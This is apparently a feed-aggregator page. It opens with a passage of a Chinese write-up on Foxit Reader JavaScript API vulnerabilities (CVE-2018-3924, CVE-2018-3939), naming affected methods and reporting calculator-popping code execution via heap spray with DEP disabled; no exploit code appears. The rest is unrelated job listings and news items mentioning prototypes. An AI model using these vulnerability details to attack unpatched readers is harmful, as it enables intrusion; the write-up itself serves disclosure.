修补后的9.2.0.9297版本中这两个函数几乎都被重写了但从createTemplate()函数的新版本中可以看到在转换类型前对参数类型进行了检查,如果是Object类型则不做类型转换,从而避免执行toString()方法:

image

也就是说按福昕的理解,问题出在参数类型过滤不严。

0x05 后续

CVE-2018-3924和CVE-2018-3939的情况明显不会是个例,于是就有了这次较多的同类问题的报告。这里有一个额外的小问题,现在网上可以找到的Adobe Acrobat API文档是2007年的,而后续版本的API又有了一些增补,关于这些变化至少本人没有找到公开的文档。所以这波报告涉及了一些2007年文档中没有的API函数。实际去看这些后续增加的API时会发现有相当一部分函数Foxit Reader都只是做了一个空壳子,里面没有任何代码实现。可能这一部分功能福昕并不重视。后续发现有该问题的函数还有Doc类的mailDoc()方法、createIcon()方法、getPageBox()方法、gotoNamedDest()方法、importAnFDF()方法等等。

关于利用效果,在做了简单的堆喷射后在关闭DEP的环境中可以弹出计算器:

image


          UI Designer II      Cache   Translate Page      
NY-New York, Job Description: -Client is seeking a UI Designer II Responsibilities: -Help to define the user model and user interface for new and existing client products and features. -Develop high level and/or detailed storyboards, mockups, and prototypes to effectively communicate interaction and design ideas. -Gauge the usability of new and existing products, and making constructive suggestions for change.
          From the Archives: Howard Hughes is injured in 1946 plane crash      Cache   Translate Page      
On July 7, 1946, Howard Hughes took the first XF-11 prototype on its maiden flight and crashed.
          Develop a WordPress website with WooCommerce      Cache   Translate Page      
I have a design for a WordPress website (which will also have WooCommerce installed). I need you to develop the design into a working website, including mobile responsiveness. Romy (Budget: $250 - $750 USD, Jobs: CSS, HTML, jQuery / Prototype, PHP, WordPress)
          Develop a WordPress website with WooCommerce      Cache   Translate Page      
I have a design for a WordPress website (which will also have WooCommerce installed). I need you to develop the design into a working website, including mobile responsiveness. Romy (Budget: $250 - $750 USD, Jobs: CSS, HTML, jQuery / Prototype, PHP, WordPress)
          From the Archives: Howard Hughes is injured in 1946 plane crash      Cache   Translate Page      
On July 7, 1946, Howard Hughes took the first XF-11 prototype on its maiden flight and crashed.
          Lead Analysts      Cache   Translate Page      
FL-Tampa, RESPONSIBILITIES: Kforce is looking for Lead Analysts. Qualified candidates will be planning and executing a variety of methodologies as part of the concept stage in the overall project development of web-based applications. Creating GUI prototypes. Researching, planning and developing project strategies. Coordinating the full life cycle of IT projects using Java, JSP, EJB, Servlets, J2EE, JAXB, X
          Versuchstechniker Prototypenbauteile - Zug-Drucksysteme (m/w) - SVZ SystemValidierungsZentrum - Gaimersheim      Cache   Translate Page      
ALS MITARBEITER BEIM VALIDIERUNGSSPEZIALISTEN SVZ HEUTE DIE FAHRZEUGE VON MORGEN TESTEN_ Versuchstechniker Prototypenbauteile Zug-Drucksysteme (m/w)_ Als...
Gefunden bei SVZ SystemValidierungsZentrum - Mon, 17 Sep 2018 10:22:23 GMT - Zeige alle Gaimersheim Jobs
          Comment on Niterider Sentry Aero 260 taillight is super visible + Lumina Dual 1800 prototype by Heffe      Cache   Translate Page      
I went and got the taillight for my wife's bike. I might like it better than the Lezyne Strip Pro I use, which peaks at 300 lumens. That lit-up wedge shape on the Niterider really catches the eye.
          Cyberpunk 2077 - CD Projekt Red Establishes Partnership with Digital Scapes      Cache   Translate Page      

When Cyberpunk 2077 was making the rounds at conventions earlier this year, some of us wondered about the nebulous at that point multiplayer component of the game. And while we still don't have anything solid to report there, this open press release on CD Projekt's website announces their new partnership with Vancouver-based studio Digital Scapes that specializes in AAA multiplayer development. You do the math there.

Check it out:

CD PROJEKT RED, creators of The Witcher series of games, announce the establishing of a long-term strategic cooperation with Vancouver-based studio Digital Scapes. The partnership will focus on CD PROJEKT RED’s upcoming futuristic role-playing game — Cyberpunk 2077.

Founded by industry veterans hailing from BioWare, Radical Entertainment and Relic, Digital Scapes is an ambitious video game development studio specialising in AAA multiplayer console and PC game development, development tool creation, asset production, and cloud computing. Digital Scapes team members worked on blockbuster game series like Company of Heroes, Warhammer 40,000, Dying Light, Prototype, and more.

“Cyberpunk 2077 is our most ambitious project to date and we work hard every day to make it a creative and technological achievement. The Digital Scapes team brings aboard a lot of talent, experience and technical knowledge, and I’m very confident our long-term cooperation will add plenty to the game,” says Michał Nowakowski, SVP Business Development, CD PROJEKT RED.

“We are both excited and honoured to work with CD PROJEKT RED. Their incredibly creative and accomplished team of developers have been pushing narrative-driven, role-playing games to unprecedented levels. We look forward to helping them create the very best video games on the planet,” said Marcin Chady, Studio Head, Digital Scapes.

The Canadian partner studio will closely cooperate with CD PROJEKT RED on creating and optimizing technological solutions for use in the development of Cyberpunk 2077.

          Spied! Next-Gen BMW M3 Hits the Nurburgring      Cache   Translate Page      

BMW unveiled the next-generation 3 Series earlier this month. The automaker is keeping its full M variant under wraps, but our spy photographers managed to capture this prototype lapping the Nurburgring. When we last spotted the new M3, it wasn’t wearing its production headlights. That has since changed, because the new units look a lot closer […]

The post Spied! Next-Gen BMW M3 Hits the Nurburgring appeared first on Motor Trend.


          From the Archives: Howard Hughes is injured in 1946 plane crash      Cache   Translate Page      
On July 7, 1946, Howard Hughes took the first XF-11 prototype on its maiden flight and crashed.
          First Polestar 1 prototype cars start production      Cache   Translate Page      
Momentum in the development of the Polestar 1 has increased with the production of the first series of road-going verification prototype cars in Sweden.
          Sr Application Developer      Cache   Translate Page      
NE-Omaha, Job Description: -Client is seeking a Java Developer (Tech lead / Sr Developer) Responsibilities: -Consults with project teams and functional units on the design of important projects or services. -Consults with users, to determine software or system functional specifications. -Designs and develops computer systems or programs, including prototypes, based on user defined requirements. -Writes code
          Comment on VW Says Its Electric Cars Will Be Priced Comparably To Diesel by Pushmi-Pullyu      Cache   Translate Page      
"Nope, they also said 2020 back in 2016. Nothing has changed, they are right on schedule." Well, VW has put out so many fake claims about putting EVs into production, and so frequently, that it's not surprising you can find at least one that has not been proven false... yet. But let's go back a bit further. The prototype VW 1-litre concept car was shown to the public in April 2002. At the 2007 Frankfurt Motor Show senior VW exec Ferdinand Piëch claimed the car would be available by the end of the decade. This was followed in 2009 by the L1, and in 2011 by the XL1. VW made repeated claims for each of these prototypes that it would be put into production. To my utter astonishment, after so many lies, VW actually <i>did</i> put the car into production in 2013, altho with the intent to produce only 250 units. Of course, nobody would claim the XL1, a product of extreme engineering for fuel efficiency at the expense of everything else, is an "electric vehicle for millions". I think that would be too obvious a lie even for VW's marketing department.
          From the Archives: Howard Hughes is injured in 1946 plane crash      Cache   Translate Page      
On July 7, 1946, Howard Hughes took the first XF-11 prototype on its maiden flight and crashed.
          (USA-FL-St. Petersburg) Sr PeopleSoft Analyst, Technology      Cache   Translate Page      
*Job Summary:* Acts as a partner with the business to facilitate and implement technology solutions. Responsible for writing system requirements that will ensure the technology solution will meet the needs of the business. Leverages appropriate technical resources. Requires a high level understanding of systems, industry and end-user requirements. Applies specialized domain knowledge in monitoring, assessing, analyzing and/or evaluating processes and data. Makes judgements and recommendations based on analysis and knowledge. *Essential Duties and Responsibilities:* • Creates detailed business requirements for functional (e.g., business processes, rules) and non-functional (e.g., data, security) capabilities. • Validates test cases to ensure that scripts will evaluate the business function being performed. • Gathers and interprets information from multiple sources (including databases, interviews, etc.) and makes recommendations. • Ability to be responsible for the design, development and delivery of one or more PeopleSoft application development components, including reports, interfaces, conversions, and implementation of custom solutions. • Provides support for application development teams including documenting business processes. • Translates technical concepts to business audience and business information to a technical audience. • Participates in developing estimates and implementation plans for technical solutions. • Partners with team members to develop project schedules, reports and documentation. May be required to act as project lead on small to medium projects and/or provide direction to others on the team. • Works with User Experience / Design resources to help visualize requirements into prototype. • Understands and applies principles in risk management, issue tracking and change management. • Performs other duties and responsibilities as assigned. *Experience and Skills:* • Minimum of a Bachelor’s degree in Computer Science, MIS, Business or related degree and five (5) years of relevant experience or a combination of education, training and experience. • PeopleSoft Procure to Pay is must. And experience on GL, PC, AM, Cash Management, T&E will be plus. • Experience in PeopleSoft 9.x. • Proficient to write SQL to analyze data in Oracle 11g or higher. • Experience in Team Foundation Server (TFS) or other ticket management tool. • Experience in testing of PeopleSoft functionalities, interfaces and reports. • Financial Services experience highly preferred. • Interpret requirements, perform highly complex analyses and present options and recommendations to obtain desired results • Experience of working in multi applications integrated environment. • May occasionally work a non-standard shift including nights and/or weekends and/or have on-call responsibilities. • May work in a team environment or project room to facilitate collaboration. • Knowledge of risk management, issue tracking, change management and requirements gathering. *Licenses/Certifications:* • PeopleSoft Functional Certification will be an advantage. *Competencies and Behaviors:* • *Analysis*: Identify and understand issues, problems and opportunities; compare data from different sources to draw conclusions. • *Communication*: Clearly convey information and ideas through a variety of media to individuals or groups in a manner that engages the audience and helps them understand and retain the message. • *Exercising Judgment and Decision Making*: Use effective approaches for choosing a course of action or developing appropriate solutions; recommend or take action that is consistent with available facts, constraints and probable consequences. • *Technical and Professional Knowledge*: Demonstrate a satisfactory level of technical and professional skill or knowledge in position-related areas; remains current with developments and trends in areas of expertise. • *Building Effective Relationships*: Develop and use collaborative relationships to facilitate the accomplishment of work goals. • *Client Focus*: Make internal and external clients and their needs a primary focus of actions; develop and sustain productive client relationships. **Job:** **Technology* **Organization:** **Technology* **Title:** *Sr PeopleSoft Analyst, Technology* **Location:** *FL-St. Petersburg-Saint Petersburg* **Requisition ID:** *1803436*
          (USA-CA-San Francisco) Senior Technical Program Manager - AV Compute      Cache   Translate Page      
Senior Technical Program Manager - AV Compute at Cruise Automation San Francisco, CA We're the driverless car company. We believe in improving people’s lives by making transportation safer, more accessible, and more convenient. We’re building the world’s most advanced software to fuel the driverless cars that safely connect people to the places, things, and experiences they care about. We seek and embrace diversity in all of its forms. We continuously push ourselves to think differently and take ownership wherever it's needed. This is a place for dreamers and doers to succeed. If you share our passion for achieving what some say is impossible, join us. Day-to-day responsibilities include: + Work with key stakeholders in Product/Program Management and executive teams to define hardware strategy and requirements + Lead cross-functional development on new technology from design through delivery + Work with teams to deliver prototype, validation, manufacturing and support plans in sync with launch timelines + Communicate regularly with senior management on status, risks and change control + Keep cross-functional teams informed and aligned on team progress & needs + Work with and build relationships internally and with GM, 3rd parties and external manufacturers + Help manage and drive complex, fast-evolving hardware programs, both in-house and by third-party vendor partners + Create and organize all relevant documentation Sample Projects: + Automotive networking + High performance computing + Sensor interface + Thermal and mechanical You should apply for this role if you have the following qualifications: + BS, MS, or PhD in engineering, science, or related field + 6+ years of industry experience + Ability to understand complex technical systems + Ability to adapt and operate under ambiguity + Strong technical and nontechnical communication skills + Ability to identify and act on opportunities to improve processes and increase efficiency + Able to confidently bring order and organization to any team Bonus points! + Experience in the automotive industry + Proficiency with statistical analysis on large datasets + Experience with ROS/Python/C/C++ + Experience with computer/sensing hardware and testing Perks of being a Cruiser: While doing meaningful work is the best perk of all, we also offer the following programs and benefits to support the extraordinary humans who serve as the backbone in making our robot cars go: + The opportunity to solve difficult problems that have immediate and valuable real-world applications + Competitive salary and benefits including 401k Cruise matching program to help you meet your long-term financial goals + Medical / dental / vision, AD+D and Life + Paid parental leave so you can spend time with the newest addition(s) to your family’s fleet + Health and Wellness reimbursement + Annual Learning and Development stipend + Flexible vacation and 10 paid company holidays + State of the art equipment for your work station + Healthy lunch, snacks, dinner Take a glimpse through the lens of a Cruiser on our LinkedIn Page GM Cruise LLC provides equal employment opportunities (EEO) to all employees and applicants for employment without regard to race, color, religion, sex, national origin, age, disability, sexual orientation, gender identity or expression, veteran status, or genetics. In addition to federal law requirements, GM Cruise LLC complies with applicable state and local laws governing nondiscrimination in employment in every location in which the company has facilities. This policy applies to all terms and conditions of employment, including recruiting, hiring, placement, promotion, termination, layoff, recall, transfer, leaves of absence, compensation and training. Pursuant to applicable laws including the San Francisco Fair Chance Ordinance, we will consider for employment qualified applicants with arrest and conviction records. Privacy Statement
          (USA-CA-San Francisco) Senior Hardware Engineer - Manufacturing      Cache   Translate Page      
Senior Hardware Engineer - Manufacturing at Cruise Automation San Francisco, CA We're the driverless car company. We believe in improving people’s lives by making transportation safer, more accessible, and more convenient. We’re building the world’s most advanced software to fuel the driverless cars that safely connect people to the places, things, and experiences they care about. We seek and embrace diversity in all of its forms. We continuously push ourselves to think differently and take ownership wherever it's needed. This is a place for dreamers and doers to succeed. If you share our passion for achieving what some say is impossible, join us. Day-to-day responsibilities include: + Work with key stakeholders in engineering and Product/Program Management teams to define manufacturing strategy and requirements + Lead manufacturing plan on new hardware from design through delivery + Work with teams to deliver prototype, validation, manufacturing and support plans in sync with launch timelines + Communicate regularly with senior management on status, risks and change control + Work with and build relationships internally and with GM, 3rd parties and external manufacturers + Help manage and drive complex, fast-evolving manufacturing programs, both in-house and by contract manufacturers + Create and organize all relevant documentation Sample Projects: + Automotive networking + High performance computing + Sensor interface + Thermal and mechanical You should apply for this role if you have the following qualifications: + BS, MS, or PhD in engineering, science, or related field + 5+ years of industry experience + Ability to understand complex technical systems + Ability to adapt and operate under ambiguity + Strong technical and nontechnical communication skills + Ability to identify and act on opportunities to improve processes and increase efficiency + Able to confidently bring order and organization to any team Bonus points! + Experience in the automotive industry + Proficiency with statistical analysis on large datasets + Experience with ROS/Python/C/C++ + Experience with computer/sensing hardware and testing Perks of being a Cruiser: While doing meaningful work is the best perk of all, we also offer the following programs and benefits to support the extraordinary humans who serve as the backbone in making our robot cars go: + The opportunity to solve difficult problems that have immediate and valuable real-world applications + Competitive salary and benefits including 401k Cruise matching program to help you meet your long-term financial goals + Medical / dental / vision, AD+D and Life + Paid parental leave so you can spend time with the newest addition(s) to your family’s fleet + Health and Wellness reimbursement + Annual Learning and Development stipend + Flexible vacation and 10 paid company holidays + State of the art equipment for your work station + Healthy lunch, snacks, dinner Take a glimpse through the lens of a Cruiser on our LinkedIn Page GM Cruise LLC provides equal employment opportunities (EEO) to all employees and applicants for employment without regard to race, color, religion, sex, national origin, age, disability, sexual orientation, gender identity or expression, veteran status, or genetics. In addition to federal law requirements, GM Cruise LLC complies with applicable state and local laws governing nondiscrimination in employment in every location in which the company has facilities. This policy applies to all terms and conditions of employment, including recruiting, hiring, placement, promotion, termination, layoff, recall, transfer, leaves of absence, compensation and training. Pursuant to applicable laws including the San Francisco Fair Chance Ordinance, we will consider for employment qualified applicants with arrest and conviction records. Privacy Statement
          (USA-CA-Livermore) Senior Mechanical Engineer      Cache   Translate Page      
Senior Mechanical Engineer Location: Livermore, CA Category: Science & Engineering Organization: Engineering Posting Requirement: External w/ US Citizenship Job ID: 104326 Job Code: Science & Engineering MTS 3 (SES.3) / Science & Engineering MTS 4 (SES.4) Date Posted: October 08 2018 Share this Job Apply Now Apply For This Job Science and Technology on a Mission! For more than 60 years, the Lawrence Livermore National Laboratory (LLNL) has applied science and technology to make the world a safer place. We have multiple openings for Senior Mechanical Engineers to participate in new and ongoing projects. We provide nuclear weapon engineering design expertise; systems engineering; experimental device design; fabrication and assembly; surveillance of nuclear stockpile components; engineering analysis and computational simulation; and engineering testing for evaluation and maintenance of the enduring and future nuclear weapon stockpile. Our engineers interface with colleagues at other National Laboratories and Production Agencies, National Nuclear Security Administration (NNSA), and Department of Defense (DoD) and their contractors. These positions are in the Defense Technologies Engineering Division (DTED), within the Engineering Directorate. DTED provides support to Weapons and Complex Integration (WCI) Programs. These positions will be filled at either the SES.3 or SES.4 level depending on your qualifications. Additional job responsibilities (outlined below) will be assigned if you are selected at the higher level. Essential Duties - Provide technical expertise in mechanical and electromechanical design. - Conduct research in structural, thermal, hydraulic, or dynamics modeling of mechanical systems. - Produce advanced conceptual and detail designs in support of on-going projects. - Prepare supporting health and safety documentation that is aligned with the Integrated Safety Management (ISM) requirement and participate in design and Management Prestart Reviews. - Coordinate project interfaces and deployment interfacing with other organizations internal and external to the Laboratory. - Lead and/or provide guidance and technical direction to multidisciplinary project teams in a growing, dynamic environment. - Perform other duties as assigned. In Addition at the SES.4 Level - Set broad project vision and strategy and influence technical direction for self and others. - Provide expert capability in highly complex mechanical design and analysis. Qualifications - Master's degree in Mechanical Engineering or a related field, or the equivalent combination of education and related experience. - Demonstrated advanced knowledge of mechanical design. - Significant experience in prototype development and testing, as well as hardware design and analysis. - Demonstrated ability to devise solutions for unique and complex problems. - Demonstrated ability and flexibility to reprioritize and change programmatic direction depending on emergent requests. - Significant experience in managing, overseeing, and delivering multiple projects on budget and schedule. - Demonstrated ability to lead, manage, and mentor junior team members. - Advanced communication skills with proven ability to present concepts and ideas in a clear and coherent manner, both verbal and written for presentation and interaction with other technical staff members. In Addition at the SES.4 Level - Demonstrated expertise in highly complex mechanical design and analysis and significant experience in project planning and highly complex technical leadership. - Significant experience developing and implementing creative solutions to a diverse range of highly complex problems and leading corrective actions where necessary. - Expert communication, facilitation, and collaboration skills necessary to present, explain, and advise senior management and/or external sponsors and demonstrated record of team building and conflict resolution. Desired Qualifications - PhD in Mechanical Engineering or a related field. - Demonstrated advanced knowledge of systems engineering principles and practices and their application. Pre-Placement Medical Exam: A job related pre-placement medical examination may be required. Pre-Employment Drug Test: External applicant(s) selected for this position will be required to pass a post-offer, pre-employment drug test. This includes testing for use of marijuana as Federal Law applies to us as a Federal Contractor. Security Clearance: This position requires a Department of Energy (DOE) Q-level clearance. If you are selected, we will initiate a Federal background investigation to determine if you meet eligibility requirements for access to classified information or matter. In addition, all L or Q cleared employees are subject to random drug testing. Q-level clearance requires U.S. citizenship. If you hold multiple citizenships (U.S. and another country), you may be required to renounce your non-U.S. citizenship before a DOE L or Q clearance will be processed/granted. Note: This listing has multiple openings; these are Career Indefinite positions. Lab employees and external candidates may be considered for these positions. About Us Lawrence Livermore National Laboratory (LLNL), located in the San Francisco Bay Area (East Bay), is a premier applied science laboratory that is part of the National Nuclear Security Administration (NNSA) within the Department of Energy (DOE). LLNL's mission is strengthening national security by developing and applying cutting-edge science, technology, and engineering that respond with vision, quality, integrity, and technical excellence to scientific issues of national importance. The Laboratory has a current annual budget of about $1.8 billion, employing approximately 6,500 employees. LLNL is an affirmative action/ equal opportunity employer. All qualified applicants will receive consideration for employment without regard to race, color, religion, marital status, national origin, ancestry, sex, sexual orientation, gender identity, disability, medical condition, protected veteran status, age, citizenship, or any other characteristic protected by law.
          FPGA Developer - Facebook - Redmond, WA      Cache   Translate Page      
As a FPGA Developer at Facebook Reality Labs(FRL), you will design, build, and test prototype electrical systems for future consumer mixed reality experiences...
From Facebook - Fri, 27 Jul 2018 11:28:06 GMT - View all Redmond, WA jobs
          (USA-CA-Livermore) Mechanical Engineer      Cache   Translate Page      
Mechanical Engineer Location: Livermore, CA Category: Science & Engineering Organization: Engineering Posting Requirement: External w/ US Citizenship Job ID: 104325 Job Code: Science & Engineering MTS 1 (SES.1) / Science & Engineering MTS 2 (SES.2) Date Posted: October 08 2018 Share this Job Apply Now Apply For This Job Science and Technology on a Mission! For more than 60 years, the Lawrence Livermore National Laboratory (LLNL) has applied science and technology to make the world a safer place. We have multiple openings for Mechanical Engineers to participate in new and ongoing projects. We provide nuclear weapon engineering design expertise; systems engineering; experimental device design; fabrication and assembly; surveillance of nuclear stockpile components; engineering analysis and computational simulation; and engineering testing for evaluation and maintenance of the enduring and future nuclear weapon stockpile. Our engineers interface with colleagues at other National Laboratories and Production Agencies, National Nuclear Security Administration (NNSA), and Department of Defense (DoD) and their contractors. These positions are in the Defense Technologies Engineering Division (DTED), within the Engineering Directorate. DTED provides support to Weapons and Complex Integration (WCI) Programs. These positions will be filled at either the SES.1 or SES.2 level depending on your qualifications. Additional job responsibilities (outlined below) will be assigned if you are selected at the higher level. Essential Duties - Derive engineering requirements, develop conceptual designs, and perform supporting analyses of mechanical systems, test prototypes, and associated diagnostics. - Oversee the detail design process, component part fabrication, and unit assembly. - Prepare supporting safety and engineering documentation and participate in engineering design reviews. - Participate in engineering testing operations, analyze results, and write reports. - Generate detailed plans, schedules, and budgets for project activities. - Interface with other organizations internal and external to the Laboratory to complete various projects. - Work independently as well as a part of a multidisciplinary team. - Perform other duties as assigned. In Addition at the SES.2 Level - Provide engineering knowledge to resolve technical and programmatic issues. - Perform independent technical tasks to provide solutions for a diverse range of moderate to complex issues. - Select methods, techniques, and evaluation criteria to obtain results based on analysis of multiple, largely identifiable factors. Qualifications - Bachelor's degree in Mechanical Engineering or related field, or the equivalent combination of education and related experience. - Demonstrated knowledge of two or more of the following: engineering hardware design, systems engineering, manufacturing techniques, testing processes, FEA structural analysis. - Working knowledge of and/or experience with design principles. - Working knowledge of material properties and manufacturing methods. - Experience working effectively in a multidisciplinary team environment. - Experience using standard project management practices. - Desire to work on National Security projects related to nuclear weapons and flexibility to work in different technical areas. - Sufficient verbal and written communication skills to collaborate effectively in a team environment and present and explain technical information. In Addition at the SES.2 Level - Master's degree in Mechanical Engineering or related field, or the equivalent combination of education and related experience. - Comprehensive knowledge of engineering hardware design, fabrication, or testing processes and ability to meet schedule and deliverables for multiple concurrent projects with a range of priorities. - Proficient verbal and written communication skills necessary to effectively collaborate in a team environment and present and explain technical information. Desired Qualifications - Ability to interpret specifications and mechanical drawings including Geometric Dimensioning & Tolerancing (GD&T). - Demonstrated knowledge of design applications employing high explosive materials. - Experience working in an environment with stringent safety and security policies. Pre-Placement Medical Exam: A job related pre-placement medical examination may be required. Pre-Employment Drug Test: External applicant(s) selected for this position will be required to pass a post-offer, pre-employment drug test. This includes testing for use of marijuana as Federal Law applies to us as a Federal Contractor. Security Clearance: This position requires a Department of Energy (DOE) Q-level clearance. If you are selected, we will initiate a Federal background investigation to determine if you meet eligibility requirements for access to classified information or matter. In addition, all L or Q cleared employees are subject to random drug testing. Q-level clearance requires U.S. citizenship. If you hold multiple citizenships (U.S. and another country), you may be required to renounce your non-U.S. citizenship before a DOE L or Q clearance will be processed/granted. Note: This listing has multiple openings; these are Career Indefinite positions. Lab employees and external candidates may be considered for these positions. About Us Lawrence Livermore National Laboratory (LLNL), located in the San Francisco Bay Area (East Bay), is a premier applied science laboratory that is part of the National Nuclear Security Administration (NNSA) within the Department of Energy (DOE). LLNL's mission is strengthening national security by developing and applying cutting-edge science, technology, and engineering that respond with vision, quality, integrity, and technical excellence to scientific issues of national importance. The Laboratory has a current annual budget of about $1.8 billion, employing approximately 6,500 employees. LLNL is an affirmative action/ equal opportunity employer. All qualified applicants will receive consideration for employment without regard to race, color, religion, marital status, national origin, ancestry, sex, sexual orientation, gender identity, disability, medical condition, protected veteran status, age, citizenship, or any other characteristic protected by law.
          From the Archives: Howard Hughes is injured in 1946 plane crash      Cache   Translate Page      
On July 7, 1946, Howard Hughes took the first XF-11 prototype on its maiden flight and crashed.
          Visiting the TMS lab day 6: TMS WEB Core Progressive Web Apps      Cache   Translate Page      


Another day, another visit this week in the TMS lab and today we're going to have a look at what progressive web application development can bring for us, Delphi developers and how we prepare TMS WEB Core in the lab to be ready to take advantage of this technology.

First of all, what exactly is a "progressive web application"?

Easiest is to borrow the information from Wikipedia on progressive web applications:

Progressive Web Apps (PWAs) are web applications that load like regular web pages or websites but can offer the user functionality such as working offline, push notifications, and device hardware access traditionally available only to native mobile applications. PWAs are an emerging technology that combine the open standards of the web offered by modern browsers to provide benefits of a rich mobile experience.

What does it mean in relationship to TMS WEB Core?

This means a couple of things for the application:

  • Adapts automatically to the device screen, i.e. looks good on mobile and desktop. Also called responsive design
  • Is aware of online versus offline state, i.e. continues to work in offline state
  • Can be installed on a mobile device, Chrome OS machines and most likely in the future also on desktop machines without going to a censored application store
  • Will look like a native application, i.e. will use the full screen on the mobile device, no navigation bar etc..
  • Has access to device hardware
  • Will need to be initially accessed via HTTPS

As such, we are working in the lab to make it as easy as possible to create PWAs directly from TMS WEB Core with minimal effort. As a proof of concept, we created with TMS WEB Core and some manual help (that will become automated in the future) a full 100% compliant progressive web application.

First a word about compliance testing. A great tool for web application developer is Google Lighthouse. With Lighthouse, you can directly submit your web application to several tests related to performance, accessibility, best practices, SEO and compatibility with progressive web app requirements. This proof of concept is a simple calculator. It is built using:

  • The TTMSFNCWidgetLCDLabel as display that is top aligned
  • The TWebGridPanel as automatic sizing grid that is client aligned
  • The TWebGridPanel is configured with 4 25% width columns and 5 20% height rows
  • The TWebButton controls on the TWebGridPanel are client aligned on the panel
Responsive design
This layout already takes care of properly adapting to mobile, tablet and desktop screens, so makes it responsive if you want to call it this way

Service worker
Next we need to make this application work offline. This is achieved through a service worker. A service worker is JavaScript code that instructs the browser how to deal with fetching the parts that make up the application. So, we manually created the serviceworker.js file that gets registered from the main HTML file. This service worker contains the code to instruct the browser to install all involved files in the cache.

Manifest file
To make the application installable on a mobile device, there needs to be a manifest.json file that holds details about the application, including the application icon that will appear on the mobile device to start the application from. So, we've created such manifest.json file here as well as icon files (PNG format) in several sizes with our company logo as application icon.

With all this in-place, it is time to start verifying we effectively have a progressive web application. With Google Lighthouse installed in the Chrome browser, this is as easy as navigating to our web application and starting Lighthouse to let it generate a report.
So, in this case, we have deployed the prototype application to:

https://www.tmssoftware.com/pwa/calculator.html

and when we let Lighthouse generate its report, we get the result:


All in all, a pretty impressive result overall (certainly when you compare to many mainstream websites) and 100% satisfying the progressive web application requirement. While the performance is mostly server related here, this is not something directly under control of the TMS WEB Core application, but our team is committed to make TMS WEB Core applications shine even more in the other areas.

Now that we have the confidence that we really have a progressive web application, we can do the next step and try it out on a mobile device, in this case an iPhone. While Android had support for PWAs for some time already, since iOS 11.3, Apple also added support too.

So, when we navigate to the application URL https://www.tmssoftware.com/pwa/calculator.html, we can now choose to add it to the desktop:



From the manifest, iOS found out the application name & icon and suggests to add it this way to the desktop:



And now comes the really nice thing, let's switch the iPhone to airplane mode (notice the airplane mode indicator in the top left corner of the screen), we can still start our TMS WEB Core application and use it:



Conclusion

Progressive web applications will play in many ways a very important role and will be a crucial technology to make web applications behave nicely when switching between online / offline situations, switching between desktop and mobile devices and as such offer a better user experience. Moreover, it offers a mechanism to deploy applications to end-users without passing via the Apple, Google or Microsoft gateways and paywalls. We're researching and implementing the needed support in the TMS WEB Core framework to make developing such progressive web applications as easy as it can be.

Thanks

A big thank you goes to Danny Wind , a long time Delphi guru, trainer, Embarcadero MVP, ... who brought up the initial ideas and experimental work to create progressive web applications from TMS WEB Core apps!

Lab visit feedback & win!

Our team loves to hear what you think about what is brewing in the lab, how you plan to use the upcoming features, what priority our team should give to it and if you have possibly interesting and/or creative ideas to make this even more powerful for Delphi developers. To reward your interaction & feedback, we'll pick 3 blog comments on October 15 that we liked the most and first prize is a free TMS WEB Core license, the 2nd and 3rd prize is a 50% discount coupon on TMS WEB Core. Let yourself hear to increase your chances!

Get started

Meanwhile, you can go ahead and explore the new & exciting territories of web client development that become available for Delphi developers with TMS WEB Core! You can download the trial version that is generally available, go ahead with the standalone version you purchased or with TMS WEB Core and additional tools that are all included in TMS ALL-ACCESS. Or you can come to see TMS WEB Core and discover and discuss it face to face with Bruno Fierens of tmssoftware.com showing it in London on October 23, 2018. Note also that in October, you can still take advantage of purchasing TMS WEB Core at launch price from 295EUR for a single developer license. From Nov 1, regular pricing will be active on TMS WEB Core (395EUR for a single developer license).


          Sr. Principal Software Engineer - BAE Systems - Reston, VA      Cache   Translate Page      
We then help turn those research prototypes into differentiators for ES which has products fielded everywhere from the depths of the Earth’s oceans to Jupiter....
From BAE Systems - Tue, 17 Jul 2018 20:17:56 GMT - View all Reston, VA jobs
          FAST Labs - Software Engineer Section Lead - BAE Systems - Arlington, VA      Cache   Translate Page      
We then help turn those research prototypes into differentiators for ES which has products fielded everywhere from the depths of the Earth’s oceans to Jupiter....
From BAE Systems - Fri, 07 Sep 2018 02:08:48 GMT - View all Arlington, VA jobs
          Graphic Design The Sidji Hotel, Pekalongan      Cache   Translate Page      

The sidji Hotel membutuhkan seorang Graphic Design Tanggung Jawab Pekerjaan : 1. Create Schedule to complete the job based on deadlines 2. Develop a design prototype that suits the hotel goals 3. Think creatively to general new ideas and conceps and develop interactive design 4. Use innovation to redefine design in terms of cost and […]

Info selengkapnya Graphic Design The Sidji Hotel, Pekalongan cek di www.loker.id


          (USA-PA-Philadelphia) Senior Consultant Technical      Cache   Translate Page      
**Job Description:** **Summary** Provides technical consulting services to clients; contributes to the design and delivery of technical solutions including customizing package-based solutions, data design and conversion, technically-focused testing, and configuring technical infrastructure components; serves as a technical resource on a team or a team leader for other technologists. Develops and demonstrates specialized knowledge and skills in at least one technical consulting discipline: data/database design, network design/security, technical product, or technical integration architecture. **Essential Job Functions** + Participates in gathering technical requirements through a variety of techniques (e.g., facilitated workshops, work sessions and interviews); performs technical analysis and design to the sub-system level (Technical). + Develops program specifications for all levels of complexity; codes programs from high level specifications or Derived Logical Processes (DLPs) on two or more technical platforms; optimizes program performance and maintainability. Raises business application prototypes to production levels (Technical). + Defines technical requirements to support a data conversion effort and executes automated and manual data cleansiing procedures (Technical). + Develops standards, templates, and procedures to aid in the development of the required work products (Methodology). + Leads a team of 4-6 company resources, in area of expertise, to conclusion of a project phase (Management). + Conducts performance and integration testing, helps analyze test results, and assists in identifying modifications or necessary improvements (Business). + Establishes and maintains networking relationships with middle management in client organizations (Relationship Management). + Understands client needs and matches them to relevant services or products; manages client expectations (Leverage). + Understands and communicates goals and critical success factors for the project; sells ideas persuasively and paces the communications properly (Communication). **Basic Qualifications** + Bachelor's degree or equivalent combination of education and experience + Bachelor's degree in business, computer science or related field preferred + Five or more years of experience in technical analysis and design, preferably within a consulting environment + One to two years of relevant experience in a particular technical specialty area included + Experience working with techniques, tools, and approaches for application development and system integration + Experience working with techniques and approaches for selecting technical products and vendors **Other Qualifications** + Strong analysis and design skills + Good communication skills + Ability to manage competing priorities in a complex environment + Ability to devise creative technical solutions + Ability to convey a strong presence, professional image, and deal confidently with complex technical problems + Willingness to travel **Work Environment** + Office environment + May require evening or weekend work DXC Technology is EEO F/M/Protected Veteran/ Individual with Disabilities
          (USA-VA-Chantilly) Software Application Engineer      Cache   Translate Page      
